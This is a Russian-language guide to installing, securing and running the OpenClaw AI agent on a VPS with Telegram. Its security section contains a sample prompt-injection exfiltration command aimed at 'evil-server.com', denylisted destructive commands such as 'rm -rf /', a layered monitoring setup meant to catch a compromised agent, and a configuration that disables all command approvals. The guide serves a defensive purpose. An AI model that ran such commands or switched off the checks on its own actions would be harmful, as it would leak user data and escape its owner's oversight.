Что такое OpenClaw и зачем он нужен?
Представь: ты просыпаешься, а в Telegram уже ждёт сообщение от твоего личного AI-ассистента. Он напоминает о встрече, которую ты упомянул неделю назад. Он помнит, что ты работаешь над проектом X, и предлагает идею. Он знает твои привычки, цели, контекст — потому что вы общаетесь месяцами, и он ничего не забывает.
Это OpenClaw (ранее ClawdBot, MoltBot) — open-source AI-агент, созданный Петером Штайнбергером. В феврале 2026 проект передан в open-source фонд, а сам Петер присоединился к OpenAI.
Почему не просто ChatGPT или Claude.ai?
Потому что у них амнезия. Каждый новый чат — и они забывают, кто ты. OpenClaw — это другая философия:
- Бесконечная память — помнит каждый разговор. Через год будет знать тебя лучше, чем ты сам.
- Автономность — сам напишет, когда нужно напомнить или предложить.
- Управление компьютером — файлы, браузер, терминал, API. Не просто отвечает — делает.
- Приватность — данные на твоём сервере, не в облаке.
- 24/7 — на VPS за ~300 ₽/мес доступен всегда.
OpenClaw имеет доступ к системе, на которой работает. Один из мейнтейнеров предупредил: «Если ты не понимаешь, как запускать команды в терминале — этот проект слишком опасен для тебя». А Cisco обнаружила data exfiltration в стороннем скилле. Безопасность — не опция, а необходимость.
Документация: docs.openclaw.ai | Исходный код: GitHub
Сравнение с другими AI-инструментами
| Возможность | ChatGPT / Claude.ai | Cursor / Windsurf | Claude Code | OpenClaw |
|---|---|---|---|---|
| Долгосрочная память | Ограничена | Проект | Сессия | Бесконечная |
| Интерфейс | Веб / Приложение | IDE | Терминал | Telegram / Discord |
| Управление системой | Нет | Только код | Терминал + файлы | Полное |
| Автономные действия | Нет | Нет | Нет | Да |
| Данные | Облако компании | Облако + локально | Локально | Только локально |
| Работает 24/7 | Да (их сервера) | Нет | Нет | Да (твой VPS) |
| Для кого | Все | Разработчики | Разработчики | Продвинутые |
Когда OpenClaw — правильный выбор: нужен личный ассистент с памятью, общение через Telegram, приватность, автоматизация задач.
Когда лучше другое: Cursor/Windsurf — для кодинга в IDE. Claude Code — для терминальной разработки. ChatGPT — для разовых вопросов без настройки.
Быстрый старт за 10 минут
Что понадобится
- Компьютер — macOS, Linux или Windows (через WSL2)
- Node.js 18+ — nodejs.org (минимум 18, рекомендуется 22 LTS)
- API-ключ — Claude (Anthropic) или OpenAI
- Telegram-бот — создадим через @BotFather
API Anthropic и OpenAI не принимают российские карты напрямую. Варианты: виртуальная карта (PST.NET, Pyypl), OpenRouter как прокси, или карта друга за рубежом.
OpenClaw нативно работает только на macOS и Linux. На Windows нужен WSL2 (Windows Subsystem for Linux). Установка: wsl --install в PowerShell от администратора, перезагрузка, затем работаете внутри Ubuntu-терминала.
Шаг 1: Установка OpenClaw
curl -fsSL https://openclaw.ai/install.sh | bash
Скрипт скачает последнюю версию, добавит в PATH и проверит установку.
Шаг 2: Создание Telegram-бота
Открой @BotFather в Telegram
Найди @BotFather и отправь /newbot
Задай имя и username
Имя — любое (например, «Мой AI»). Username должен заканчиваться на bot (например, my_ai_helper_bot).
Скопируй токен
BotFather пришлёт токен вида 7123456789:AAH... — сохрани его, он понадобится на следующем шаге.
Шаг 3: Настройка (onboard)
openclaw onboard
Мастер настройки спросит:
- API-ключ — вставь ключ Anthropic или OpenAI
- Мессенджер — выбери Telegram
- Telegram-токен — вставь токен от BotFather
После завершения отправь боту любое сообщение в Telegram — если ответил, всё работает!
Теперь у тебя есть AI-ассистент в Telegram. Дальше — как заставить его работать 24/7 и настроить безопасность.
Где запустить бота 24/7
Пока OpenClaw работает на твоём компьютере — он доступен только когда компьютер включён. Для работы 24/7 нужен VPS (Virtual Private Server) — виртуальный сервер в облаке.
Минимальные требования
- 2 ГБ RAM (рекомендуется 4 ГБ, если планируешь QMD)
- 20 ГБ диска (SSD/NVMe)
- Linux (Ubuntu 22.04+ или Debian 12+)
- Стоимость: от ~250 ₽/мес (от ~4€/мес)
Рекомендуемые провайдеры
| Провайдер | Цена от | Серверы | Оплата из РФ | Примечание |
|---|---|---|---|---|
| Hetzner | ~4.50€/мес | Германия, Финляндия, США | Через VPN / иностранную карту | Лучшее соотношение цена/качество. Рекомендуем |
| Aeza | ~250 ₽/мес | Россия, Европа | Да, рубли | Лучшая цена/производительность, 10 Gbps |
| Timeweb | ~300 ₽/мес | Россия, Европа | Да, рубли | Надёжный, удобная панель |
| Contabo | ~4€/мес | Германия, США, Азия | Международные карты | Дёшево, много ресурсов |
| Fornex | ~350 ₽/мес | Германия, Нидерланды, Швейцария | Да, рубли | Европейские серверы с оплатой в ₽ |
| 4VPS | ~80 ₽/мес (РФ) | Россия, Европа, Азия, США | Да, рубли | Самый дешёвый вариант |
Oracle даёт бесплатный VPS (ARM, 4 ядра, 24 ГБ RAM) навсегда. Ограничение: сложная регистрация и иногда нет свободных слотов. Но если получится — идеально для OpenClaw.
Быстрая установка на VPS
После подключения к серверу по SSH:
# 1. Обновить систему
apt update && apt upgrade -y
# 2. Установить Node.js 22
curl -fsSL https://deb.nodesource.com/setup_22.x | bash -
apt-get install -y nodejs
# 3. Установить OpenClaw
curl -fsSL https://openclaw.ai/install.sh | bash
# 4. Настроить
openclaw onboard
# 5. Запустить как демон (работает после закрытия SSH)
openclaw gateway --install-daemon
Не оставляй бота на VPS без настройки безопасности. Как минимум ограничь, кто может писать боту (Telegram allowlist).
Безопасность — разумный баланс
Философия: «Ключи от офиса, но не от сейфа». Это личный VPS с ботом, не банковский сервер. Защищаем от утечки данных наружу и случайных посторонних, но не мешаем боту работать. Если бот сломает сервер — переустановка за 30 минут.
OpenClaw имеет три независимых механизма, каждый из которых может заблокировать команду. Если вы настроили allowlist, а sudo всё равно не работает — причина скорее всего в третьем слое.
| Слой | Где настраивается | Что блокирует | Дефолт |
|---|---|---|---|
| 1. exec-approvals | exec-approvals.json |
Команды не из белого списка | allowlist + on-miss |
| 2. approvals.exec | openclaw.json |
Forwarding запросов в Telegram | enabled: true |
| 3. tools.elevated | openclaw.json |
sudo, kill и другие «опасные» команды — поверх allowlist |
enabled: true |
Ловушка: даже если exec-approvals разрешает sudo — слой tools.elevated перехватит его отдельно. Это hardcoded поведение: sudo, kill, rm и ряд других команд обрабатываются как «elevated» независимо от allowlist.
Важный нюанс: OpenClaw не различает «sudo хороший» и «rm плохой» — это один механизм. Либо все elevated-команды блокируются (и sudo, и rm, и kill), либо ни одна. Системного способа «пропустить sudo, но заблокировать rm» — нет.
Рекомендация для гайда: оставляйте tools.elevated.enabled: true (дефолт). Да, sudo будет запрашивать подтверждение — но это безопаснее, чем пропустить rm -rf /. Продвинутые пользователи могут отключить этот слой (см. секцию «Автономность»), но только при наличии других мер защиты.
Безопасность OpenClaw строится из нескольких уровней — от обязательного до продвинутого:
Уровень 1: Кто может писать боту (обязательно)
Без этого любой человек может найти твоего бота в Telegram и управлять им. Это первое, что нужно настроить.
В openclaw.json добавь Telegram allowlist:
"channels": {
"telegram": {
"dmPolicy": "allowlist",
"groupPolicy": "allowlist",
"allowFrom": ["ТВОЙ_TELEGRAM_ID"]
}
}
Как узнать свой Telegram ID: отправь любое сообщение боту @userinfobot.
API-ключи хранятся в auth-profiles.json, отдельно от основного конфига. Это позволяет безопасно делиться openclaw.json без утечки ключей. Права: chmod 600.
Уровень 2: Что бот может выполнить (рекомендуется)
Exec-approvals контролируют, какие команды бот может запускать. Создай файл ~/.openclaw/exec-approvals.json:
{
"version": 1,
"defaults": {
"security": "allowlist",
"ask": "on-miss",
"askFallback": "deny",
"autoAllowSkills": true
},
"agents": {
"main": {
"security": "allowlist",
"ask": "on-miss",
"askFallback": "deny",
"autoAllowSkills": true,
"allowlist": [
{ "pattern": "/usr/bin/openclaw" },
{ "pattern": "/usr/bin/ps" },
{ "pattern": "/usr/bin/systemctl" },
{ "pattern": "/usr/bin/tail" },
{ "pattern": "/usr/bin/cat" },
{ "pattern": "/usr/bin/ls" },
{ "pattern": "/usr/bin/grep" },
{ "pattern": "/usr/bin/find" }
]
}
}
}
Как это работает:
security: "allowlist"— бот выполняет только команды из белого списка без вопросовask: "on-miss"— если команды нет в списке, бот спросит разрешение в TelegramaskFallback: "deny"— если ты не ответишь за ~120 сек, команда отклоняется
Почему именно эти значения: security: "allowlist" + ask: "on-miss" — это официальный дефолт OpenClaw, рекомендуемый документацией. askFallback: "deny" — безопасный вариант: бот не выполнит ничего опасного без твоего подтверждения.
askFallback: "allow"
Если бот часто блокируется, когда ты недоступен — можно поменять на "allow". Тогда при отсутствии ответа команда выполнится, но ты получишь уведомление. Удобнее, но менее безопасно.
Какие команды сознательно НЕ в allowlist:
| Команда | Почему бот должен спросить |
|---|---|
rm | rm -rf / — катастрофа. Бот должен подтвердить удаление |
apt | apt remove может снести системные пакеты |
dd | Прямая запись на диск — может уничтожить данные |
chmod | chmod -R 777 / — открывает всё на запись |
chown | Смена владельца системных файлов |
Allowlist проверяет реальный путь бинарника, а не симлинк. Например, /usr/bin/python3 может быть симлинком на /usr/bin/python3.12 — и в allowlist нужен именно /usr/bin/python3.12. Проверяйте через readlink -f /usr/bin/python3.
Три уровня команд по риску:
| Уровень | Команды | Риск |
|---|---|---|
| Наблюдение | ps, tail, cat, ls, grep, find, wc, head | Нулевой — только чтение |
| Управление | openclaw, systemctl, docker, npm, kill | Средний — перезапуск сервисов |
| Изменение | chmod, chown, cp, mv, mkdir, rm, sed, sudo | Высокий — запись и удаление файлов |
Уровень 3: Sudo и системный доступ (по желанию)
Для продвинутых задач (самообновление, перезапуск gateway) боту нужен sudo. Два варианта:
Вариант A — Ограниченный (безопаснее):
neroot ALL=(ALL) NOPASSWD: /usr/local/bin/openclaw
neroot ALL=(ALL) NOPASSWD: /usr/bin/openclaw
neroot ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart openclaw-gateway
neroot ALL=(ALL) NOPASSWD: /usr/bin/systemctl status openclaw-gateway
neroot ALL=(ALL) NOPASSWD: /usr/bin/npm
Вариант B — Полный доступ (для личного VPS):
neroot ALL=(ALL) NOPASSWD: ALL
Когда Вариант B — ОК: это личный VPS, exec-approvals + Telegram allowlist уже фильтруют кто и что может запустить. Ограниченный sudoers на практике приводит к «permission denied» на каждой новой команде.
chmod 440 /etc/sudoers.d/neroot && visudo -cf /etc/sudoers.d/neroot — обязательная проверка. Ошибка в sudoers может заблокировать sudo на сервере.
Уровень 4: Docker sandbox для субагентов (продвинутое)
Субагенты (параллельные задачи) работают в Docker-контейнере с ограничениями. Главный агент работает на хосте.
"agents": {
"defaults": {
"sandbox": {
"mode": "non-main",
"workspaceAccess": "rw",
"scope": "session",
"docker": {
"memory": "1536m",
"memorySwap": "2g",
"pidsLimit": 256,
"capDrop": ["ALL"],
"network": "openclaw-egress"
}
}
}
}
| Параметр | Значение | Зачем |
|---|---|---|
mode: "non-main" | Sandbox только для субагентов | Main-агент работает на хосте без ограничений |
memory: "1536m" | Лимит RAM 1.5 ГБ | Защита от зацикливания |
pidsLimit: 256 | Макс. 256 процессов | Защита от fork bomb |
capDrop: ["ALL"] | Убрать все capabilities | Контейнер не может менять сеть, монтировать FS |
network: "openclaw-egress" | Трафик через egress proxy | Дефолт = "none" (без сети). Мы меняем на egress для контролируемого доступа |
Образ openclaw-sandbox:bookworm-slim — минимальный. Если субагентам нужно запускать Node.js-скрипты внутри контейнера, потребуется кастомный образ или bind mount /usr/bin/node.
OpenClaw имеет три отдельных слоя контроля: agents.list[].tools.allow/deny (уровень агента), tools.sandbox.tools (фильтр инструментов sandbox), и docker.network (сеть контейнера). Нужно настроить ВСЕ три.
Уровень 5: Egress whitelist — контроль исходящего трафика
Это самый мощный слой защиты при полной автономии бота. Даже если prompt injection заставит бота выполнить curl https://evil-server.com/steal?data=... — прокси заблокирует запрос. Данные физически не смогут уйти на неизвестный сервер.
Работает через tinyproxy на хосте с режимом FilterDefaultDeny On — разрешены только домены из белого списка, всё остальное блокируется.
Port 8888
Allow 127.0.0.1
Allow 172.28.0.0/16
Filter "/etc/tinyproxy/filter.txt"
FilterDefaultDeny On # ВСЁ что не в списке — заблокировано
FilterURLs Off
FilterCaseSensitive Off
Белый список доменов (/etc/tinyproxy/filter.txt) — добавляйте только те домены, которые реально нужны вашему боту:
# AI-провайдеры (добавьте тех, кого используете)
api\.anthropic\.com
api\.openai\.com
.*\.googleapis\.com
# Мессенджер (обязательно для вашего канала)
api\.telegram\.org
# OpenClaw (обязательно)
.*\.openclaw\.ai
.*\.clawhub\.com
# Поиск (если бот ищет в интернете)
api\.tavily\.com
.*\.wikipedia\.org
# GitHub (если бот работает с кодом)
api\.github\.com
raw\.githubusercontent\.com
# npm/pip (если бот обновляется сам)
registry\.npmjs\.org
Принцип: начните с минимума (AI-провайдер + мессенджер + OpenClaw) и добавляйте домены по мере необходимости. Каждый новый домен — потенциальная точка утечки.
Подключение sandbox к прокси — в openclaw.json в docker.env:
"docker": {
"network": "openclaw-egress",
"env": {
"HTTP_PROXY": "http://172.28.0.1:8888",
"HTTPS_PROXY": "http://172.28.0.1:8888",
"NO_PROXY": "localhost,127.0.0.1"
}
}
Docker-сеть создаётся один раз:
# Создать сеть
docker network create --subnet=172.28.0.0/16 openclaw-egress
# Открыть порт прокси из контейнера на хост
iptables -I INPUT -i br-$(docker network inspect openclaw-egress \
-f '{{.Id}}' | head -c 12) -p tcp --dport 8888 -j ACCEPT
Когда боту нужен новый сервис — добавьте домен в filter.txt и перезапустите: systemctl restart tinyproxy. Не забывайте: каждый добавленный домен — это потенциальная точка утечки данных. Добавляйте только то, что реально используется.
Мониторинг: canary-файлы и аудит-лог
Два дополнительных механизма для обнаружения проблем:
Canary-файлы — скрипт проверяет хеши критичных файлов при каждом heartbeat (~55 мин). Если openclaw.json, exec-approvals.json или filter.txt изменились без вашего ведома — вы получите уведомление.
Аудит-лог — hook на выполнение команд, который логирует все вызовы sudo, rm, curl и других опасных команд в отдельный файл. Полезно для post-mortem анализа, если что-то пошло не так.
Итого: что реально важно
| Мера | Приоритет | Что защищает |
|---|---|---|
| Telegram allowlist | Обязательно | Кто может управлять ботом |
| Exec-approvals | Рекомендуется | Какие команды бот может выполнять |
| Egress whitelist | Рекомендуется | Куда бот может отправлять данные |
| Sudo ограничения | По желанию | Глубина доступа к системе |
| Docker sandbox | Продвинутое | Изоляция субагентов |
| Canary + аудит-лог | Продвинутое | Обнаружение несанкционированных изменений |
Что НЕ нужно (частые ошибки)
| Ошибка | Почему плохо |
|---|---|
sandbox.mode: "all" | Главный агент попадает в контейнер — нет доступа к инструментам хоста |
network: none в sandbox | Бот не может работать с интернетом вообще |
privileged: true | Опасно — контейнер получает полный доступ к хосту |
Монтирование docker.sock | Полный контроль над Docker — уязвимость |
SlowMist выпустили OpenClaw Security Practice Guide — детальный аудит безопасности от блокчейн-секьюрити фирмы.
Стек моделей (Model Layering)
OpenClaw может использовать несколько AI-моделей одновременно. Основная модель обрабатывает чат, а fallback-модели подхватывают, если основная недоступна.
Доступные модели
| Алиас | Модель | Провайдер | Сила |
|---|---|---|---|
opus | Claude Opus 4.6 | Anthropic (Claude Max) | Рассуждения, сложные задачи (1M контекст) |
gpt54 | GPT-5.4 | OpenAI (ChatGPT Plus) | Планирование, ревью, анализ |
codex | GPT-5.3 Codex | OpenAI (ChatGPT Plus) | Код, рефакторинг, дебаг |
gemini | Gemini 3 Pro | Google (One AI) | Большой контекст (2M!) |
flash | Gemini 2.5 Flash | Google AI (API key) | Быстрая, дешёвая, простые задачи |
Конфигурация fallbacks
"agents": {
"defaults": {
"model": {
"primary": "anthropic/claude-opus-4-6",
"fallbacks": [
"openai-codex/gpt-5.4",
"openai-codex/gpt-5.2",
"google-gemini-cli/gemini-3-pro-preview"
]
},
"models": {
"anthropic/claude-opus-4-6": { "alias": "opus", "params": { "cacheRetention": "long" } },
"openai-codex/gpt-5.4": { "alias": "gpt54" },
"openai/gpt-5.2": { "alias": "gpt52" },
"google/gemini-2.5-flash": { "alias": "flash" },
"google-gemini-cli/gemini-3-pro-preview": { "alias": "gemini" }
}
}
}
Алиасы позволяют переключать модель на лету: /model opus, /model flash и т.д. Сессия не сбрасывается — новая модель получает всю историю.
Если предыдущая модель делала tool calls, формат ID может не совпасть → сессия зависнет. Решение: /new (новая сессия).
Подключение Claude Max (setup-token)
Claude Max ($100/мес) можно использовать вместо API — через механизм setup-token.
# Сгенерировать токен (на машине с Claude Code CLI)
claude setup-token
# Вставить токен на сервере
openclaw models auth paste-token --provider anthropic --expires-in 365d
# Проверить
openclaw models status
# anthropic:manual ok expires in 365d
Anthropic заявляет, что OAuth-токены (Free, Pro, Max) предназначены исключительно для Claude Code и Claude.ai. Использование в других продуктах — нарушение ToS. Setup-token работает, но вы должны знать о рисках.
Heartbeat — поддержание кеша и мониторинг
Heartbeat — фоновый пинг, который OpenClaw отправляет с заданным интервалом. Зачем: поддерживает prompt cache «тёплым» (экономит токены) и может выполнять проверки (canary-файлы, мониторинг).
"heartbeat": {
"every": "55m",
"model": "google/gemini-2.5-flash"
}
Почему 55 минут: кеш prompt caching с cacheRetention: "long" живёт 1 час. Heartbeat каждые 55 минут продлевает его — кеш никогда не протухает.
Почему flash: heartbeat использует отдельную дешёвую модель (API key, не OAuth), чтобы не нагружать основную подписку и не ломаться при протухании OAuth-токена.
Ротация setup-token
Setup-token истекает через указанный срок (обычно 365 дней). Для ротации:
- На машине с Claude Code:
claude setup-token(генерирует новый) - На сервере:
openclaw models auth paste-token --provider anthropic --expires-in 365d - Hot-reload:
kill -USR1 $(pgrep -f openclaw-gateway | head -1)
Шаги 3–4 из первоначальной настройки (добавление модели в каталог) повторять не нужно — только токен.
Hot-reload после любого изменения конфига (без перезапуска):
kill -USR1 $(pgrep -f openclaw-gateway | head -1)
Экономия токенов и скорость
Каждое сообщение стоит токены — будь то подписка с квотой или API с оплатой за использование. Вот как тратить меньше и получать ответы быстрее.
Prompt Caching (кеширование промптов)
Системный промпт (инструкции, описания инструментов) весит 5,000–15,000 токенов и отправляется при каждом запросе. Кеширование позволяет запомнить эту часть.
"anthropic/claude-opus-4-6": {
"alias": "opus",
"params": { "cacheRetention": "long" }
}
"short"— кеш 5 минут (для активного чата)"long"— кеш 1 час (для редких запросов)
Keep-warm трюк: heartbeat каждые 55 минут продлевает часовой кеш. Кеш никогда не протухает → экономия ~15,000 токенов на каждом сообщении.
По некоторым данным, prompt caching может не работать через setup-token — только через нативный API-ключ Anthropic. Проверяйте через /usage full.
Лимит токенов на ответ (maxTokens)
GPT-модели склонны к «словоблудию» — генерируют длинные ответы даже на простые вопросы. maxTokens — физический поводок:
"openai-codex/gpt-5.4": {
"alias": "gpt54",
"params": { "maxTokens": 1500 }
},
"openai/gpt-5.2": {
"alias": "gpt52",
"params": { "maxTokens": 1500 }
}
1500 токенов ≈ 1000 слов. Достаточно для полноценных ответов. Для Claude Opus на Max-подписке maxTokens не нужен — фиксированная квота, длина не влияет.
Оптимизация «зрения» (Vision)
Изображения стоят в 5–10 раз дороже обычного текста.
"imageMaxDimensionPx": 800
Уменьшает изображения до 800px перед отправкой. Картинка 1200px → ~1500 токенов, 800px → ~700 токенов. Качество распознавания почти не страдает.
Ускорение стриминга
По умолчанию OpenClaw добавляет искусственную паузу между блоками текста. Отключаем:
"humanDelay": { "mode": "off" }
Защита от зацикливания
Агент может застрять в цикле — вызывать сломанный инструмент снова и снова. В OpenClaw 2026.3 прямых ключей maxToolRetries нет, но есть:
sessions.agentToAgent.maxPingPongTurns— лимит межагентных ходов (0–5)agents.defaults.subagents.runTimeoutSeconds— таймаут подагентов- Системный промпт: «Если инструмент не работает 3 раза — прекрати и сообщи»
Память и QMD
Стандартный поиск OpenClaw по памяти — простой: ищет по ключевым словам или читает файлы целиком. Это тратит токены и часто пропускает нужное. QMD — локальный поисковый движок, который заменяет это на трёхступенчатый поиск:
- Лексический (BM25) — точные совпадения слов, аббревиатуры, код
- Векторный (semantic) — по смыслу («настройки сети» найдёт «роутер и IP»)
- ИИ-реранкинг — нейросеть оценивает топ-30 и отдаёт только релевантное
Результат: 2–3 точных абзаца вместо чтения десятков файлов → до 90% экономии токенов.
Установка QMD
# Зависимости
apt-get install -y unzip sqlite3 libsqlite3-dev
curl -fsSL https://bun.sh/install | bash
export PATH="$HOME/.bun/bin:$PATH"
# Установить QMD
bun install -g https://github.com/tobi/qmd
bun pm -g trust @tobilu/qmd
bun pm -g trust node-llama-cpp
bun pm -g trust better-sqlite3
# Собрать
cd ~/.bun/install/global/node_modules/@tobilu/qmd
bun add -d @types/node
bun run build
# Проверка
qmd --help
Индексация и подключение
# Добавить workspace
qmd collection add /home/neroot/.openclaw/workspace --name workspace
# Сгенерировать эмбеддинги (~330 МБ модель при первом запуске)
qmd embed
# Проверить
qmd status
В openclaw.json добавить секцию memory на корневом уровне (рядом с agents, НЕ внутри):
"memory": {
"backend": "qmd",
"qmd": {
"includeDefaultMemory": true,
"update": { "interval": "5m" }
}
}
Режимы поиска QMD
| Команда | Режим | Скорость | Точность |
|---|---|---|---|
qmd search "запрос" | BM25 (ключевые слова) | Мгновенно | Средняя |
qmd vsearch "запрос" | Векторный (по смыслу) | Быстро | Хорошая |
qmd query "запрос" | Гибридный + реранкинг | ~секунды | Лучшая |
Расширение RAM (Swap)
Если на VPS мало RAM (< 4 ГБ), а нужен QMD — добавьте swap:
fallocate -l 4G /swapfile
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile
echo '/swapfile none swap sw 0 0' >> /etc/fstab
free -h
Автономность бота
Бот может обновляться сам, перезапускать gateway, управлять памятью — но в рамках безопасности.
Forwarding запросов в Telegram
Когда бот хочет выполнить команду не из allowlist — ты получаешь уведомление:
"approvals": {
"exec": {
"enabled": true,
"mode": "targets",
"agentFilter": ["main"],
"targets": [
{ "channel": "telegram", "to": "ТВОЙ_TELEGRAM_ID" }
]
}
}
Бот пришлёт CONFIRM <OTP>. Ты отвечаешь: /approve <id> allow-once или /approve <id> deny.
Elevated exec — третий слой блокировки
tools.elevated — это отдельный механизм, который перехватывает «опасные» команды (sudo, kill и др.) поверх exec-approvals. Даже если allowlist разрешает sudo — elevated заблокирует его отдельно. Это самая частая причина проблемы «настроил allowlist, а sudo не работает».
Два способа управления:
Способ 1 — Через Telegram (динамически):
| Команда | Что делает |
|---|---|
/elevated full | Полная автономия — sudo без подтверждений (пропускает все 3 слоя) |
/elevated ask | Каждая sudo-команда требует кнопку Allow/Deny |
Способ 2 — Через конфиг (постоянно):
"tools": {
"elevated": {
"enabled": false
}
}
enabled: false — elevated-слой полностью отключён. Все команды (включая sudo, rm, kill) контролируются только через exec-approvals.
OpenClaw НЕ различает «sudo хороший» и «rm плохой». Если отключить elevated — rm, apt, chmod тоже перестанут блокироваться (если они в allowlist). Отключайте только если у вас есть:
- Ограниченный sudoers (конкретные команды)
- Egress whitelist (прокси с FilterDefaultDeny)
- Docker sandbox для субагентов
- Denylist опасных команд в системном промпте / AGENTS.md
Для большинства пользователей рекомендуется оставить enabled: true (дефолт).
Конфигурация полной автономии (от Артура ИИмерсивного)
Автор этого гайда использует максимально автономную конфигурацию. Бот не спрашивает разрешения ни на одну команду — всё контролируется через другие слои защиты.
// exec-approvals.json
{
"version": 1,
"defaults": {
"security": "full",
"ask": "off"
}
}
// openclaw.json
"tools": {
"elevated": { "enabled": false }
},
"approvals": {
"exec": { "enabled": false }
}
Почему это работает безопасно:
| Компенсирующий слой | Что защищает |
|---|---|
| Telegram allowlist (только владелец) | Никто чужой не может отправить команду боту |
| Egress proxy (tinyproxy + FilterDefaultDeny) | Данные не уйдут на неизвестный сервер |
| Docker sandbox для субагентов | Субагенты изолированы в контейнере |
| Sudoers (ограниченный или полный) | Контроль на уровне ОС |
| Denylist в AGENTS.md | Бот сам спрашивает перед rm, apt, chmod, chown, dd |
| Сервер одноразовый | Если что-то сломается — переустановка за 30 минут |
"Умный Бастион" — собственная система безопасности поверх ОС
Встроенные exec-approvals OpenClaw работают на уровне приложения — prompt injection теоретически может их обойти. Поэтому мы построили дополнительную защиту на уровне ОС, которую бот не контролирует и не может отключить.
| Механизм | Что делает | Как работает |
|---|---|---|
| Denylist-скрипт | Перехватывает опасные команды (rm, apt, chmod, chown, dd) | Shell-обёртка проверяет команду → блокирует + алерт в Telegram через Bot API |
| Honeypot-файлы | Ловушки на несанкционированный доступ | Файлы backup_keys.txt, secrets.env с поддельными ключами. Чтение = мгновенный алерт |
| Детектор аномалий | Анализ логов на подозрительную активность | Cron каждый час: >50 exec-команд или >10 sudo за час = алерт |
| Canary-файлы | Контроль целостности конфигов | SHA256-хеши openclaw.json, exec-approvals.json, filter.txt. Несовпадение = алерт |
| Immutable бэкапы | Эталонные копии конфигов | chattr +i — даже root не может изменить без специальной команды |
| Авто-коммиты workspace | Git-снапшоты рабочей директории | Cron каждый час → git revert за секунду если что-то сломалось |
Принцип: даже если OpenClaw полностью скомпрометирован через prompt injection — обёртки на уровне ОС сработают. Бот не знает об их существовании и не может их отключить.
Агент (полная автономия)
│
├── AGENTS.md denylist ──────── правила поведения (уровень промпта)
├── exec-denylist-check.sh ──── программный блок + алерт (уровень ОС)
├── Honeypot-файлы ──────────── ловушки на чтение (уровень ОС)
├── Anomaly detector ────────── анализ логов (cron)
├── Canary-check ────────────── хеши конфигов (heartbeat)
├── Immutable бэкапы ────────── chattr +i (уровень FS)
├── Tinyproxy whitelist ─────── фильтр трафика (уровень сети)
├── Git auto-commit ─────────── снапшоты (cron)
└── Docker sandbox ──────────── изоляция субагентов (контейнер)
└── sudoers ────────────── ограниченный список команд (уровень ОС)
Закрытые системы (ChatGPT, Claude.ai) не дают доступа к ОС. Вы не можете поставить honeypot или перехватить команду на уровне файловой системы. Open-source = полный контроль.
security: "full" + ask: "off" = бот выполняет любую команду без вопросов. Это безопасно только при наличии ВСЕХ компенсирующих слоёв: Telegram allowlist, egress proxy, sandbox, "Умный Бастион". Если у вас этого нет — используйте дефолтную конфигурацию из начала секции «Безопасность».
OAuth Token Keeper
OAuth-токены (ChatGPT Plus, Google) имеют короткий срок жизни. Если несколько процессов одновременно попытаются обновить протухший токен — race condition: один использует refresh token, второй получает ошибку, авторизация рвётся.
Решение: cron-скрипт каждые 20 минут проактивно обновляет токены до того, как они протухнут:
*/20 * * * * /usr/bin/python3 /usr/local/bin/oauth-token-keeper.py >> /var/log/oauth-token-keeper.log 2>&1
Как это работает:
- Читает
auth-profiles.json(файл с OAuth-токенами, отдельный отopenclaw.json) - Для каждого провайдера проверяет: до истечения токена < 15 мин?
- Если да — обновляет через API провайдера проактивно
- Использует
flock— только один процесс обновляет одновременно (решает race condition) - Атомарная запись (tempfile + rename) — никогда не повредит файл
- Шлёт
kill -USR1gateway для перечитывания
Ключевая идея: токен обновляется ДО того, как протухнет. Gateway и субагенты всегда видят свежий токен → race condition невозможен.
В логе /var/log/oauth-token-keeper.log видно REFRESH FAILED → нужен re-login: openclaw models auth login --provider <провайдер>. Запускать от пользователя OpenClaw (не root), иначе файл сохранится с неправильными правами.
Ротация логов
Без ротации логи OpenClaw растут бесконечно и могут забить диск. Logrotate — стандартный инструмент Linux для автоматической ротации:
/tmp/openclaw/openclaw-*.log {
daily
rotate 7
compress
delaycompress
missingok
notifempty
copytruncate
size 50M
}
| Параметр | Что делает |
|---|---|
daily | Ротация раз в день |
rotate 7 | Хранить последние 7 файлов |
compress | Сжимать старые логи gzip |
copytruncate | Не перезапускать gateway — копирует и обрезает файл на лету |
size 50M | Ротировать если файл > 50 МБ (даже если не прошёл день) |
Субагенты и оркестрация
Opus — главный координатор. Он получает задачу и выбирает, какую модель запустить как субагент:
┌─────────────────────────────────────────────────┐
│ Opus (primary) — координирует всё │
│ │
│ Получает задачу → выбирает модель → spawn │
├─────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │
│ │ codex │ │ gpt54 │ │ gemini │ │
│ │ gpt-5.3 │ │ gpt-5.4 │ │ gemini-3-pro │ │
│ │ │ │ │ │ │ │
│ │ Код, │ │ Ревью, │ │ Big context │ │
│ │ скрипты │ │ план │ │ (2M) │ │
│ └──────────┘ └──────────┘ └──────────────┘ │
│ │
│ ┌──────────┐ Heartbeat: flash (55 мин) │
│ │ flash │ │
│ │ gem-2.5 │ Дефолт для субагентов │
│ │ Простые │ │
│ └──────────┘ │
└─────────────────────────────────────────────────┘
Конфигурация
"agents": {
"defaults": {
"subagents": {
"maxConcurrent": 8,
"model": "google/gemini-2.5-flash"
},
"heartbeat": {
"every": "55m",
"model": "google/gemini-2.5-flash"
}
},
"list": [
{
"id": "main",
"name": "Main",
"tools": { "profile": "coding" }
}
]
}
Правила выбора модели при spawn
| Задача | Модель | Почему |
|---|---|---|
| Код, скрипты, дебаг | codex | Заточена под код (Codex-серия) |
| Ревью, план, архитектура | gpt54 | Сильное рассуждение |
| Большой текст (>100K) | gemini | 2M контекст |
| Простой поиск / суммаризация | flash (дефолт) | Быстрая, API key, стабильная |
| Критично важное решение | opus | Самая умная, но дорогая |
Почему один агент: проще. Opus координирует и выбирает модель для каждого субагента по задаче. Дефолтная модель субагентов — flash (API key, бессрочный, стабильный).
Частые вопросы
Бот не отвечает в Telegram
Проверьте по порядку:
openclaw status— gateway запущен?- Токен бота правильный? Проверьте в конфиге
openclaw doctor— диагностика проблем- Если бот умирает при закрытии SSH:
loginctl enable-linger ЮЗЕР
Ошибка «Invalid API key»
API-ключ мог протухнуть или быть введён неправильно. Проверьте:
openclaw models status— статус всех моделей- Для OAuth: проверьте лог
/var/log/oauth-token-keeper.log - Для setup-token: перегенерируйте через
claude setup-token
Как обновить OpenClaw?
openclaw update
# или через npm:
npm update -g openclaw
После обновления: systemctl restart openclaw-gateway
Что такое Sandbox и зачем он нужен?
Sandbox — изолированная среда (Docker-контейнер) с ограничениями по RAM, CPU и сети.
